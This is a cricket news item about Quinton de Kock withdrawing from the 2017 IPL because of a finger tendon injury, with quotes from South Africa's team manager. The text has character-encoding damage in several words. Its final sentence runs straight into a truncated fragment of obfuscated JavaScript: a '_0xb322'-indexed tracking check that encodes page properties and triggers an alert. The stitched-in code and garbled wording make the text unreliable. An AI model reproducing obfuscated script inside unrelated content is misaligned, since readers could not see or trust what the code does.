Delhi Daredevilsa South African wicketkeeper-batsman Quinton de Kock is out of the 2017 IPL. He is advised rest to nurse his finger injury by the South African team management ahead of the 2017 ICC Champions Trophy and the subsequent tour of England.
De Kock, who was doubtful toAplay in the third Test against New Zealand and the IPL after suffering tendon damageAin his right index finger. He will now play the third and final TestAafter passing a fitness Test a day before the start of the match. He will miss the IPL to recover from his injury which usually takes four to six weeks to get back to normal.
De Kock Injury Needs 4-6 Weeks
South African team manager, Mohammad Moosajee, who is also a doctor confirmed that De Kock wonat be a part of the IPL. He needs at least four to six weeks to recover from the injury.
“There is every likelihood he will miss the IPL because he will need at least four to six weeks recovery. Being a wicketkeeper, every time he catches the ball, the stress goes onto that area. The risk is that if he doesn’t have that four to six weeks rest, and he further aggravates it, it could jeopardise his participation in the Champions Trophy.” Mohammed Moosajee, South Africa’s team manager, who is also a medical doctor, said.
De Kock is the second overseas player in the Delhi Daredevils squad after his South Africa teammate JP Duminy to pull out from the IPL 10. Delhi Daredevils begin their campaign against Royal Challengers Bangalore on 8th April in Bengaluru. b322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
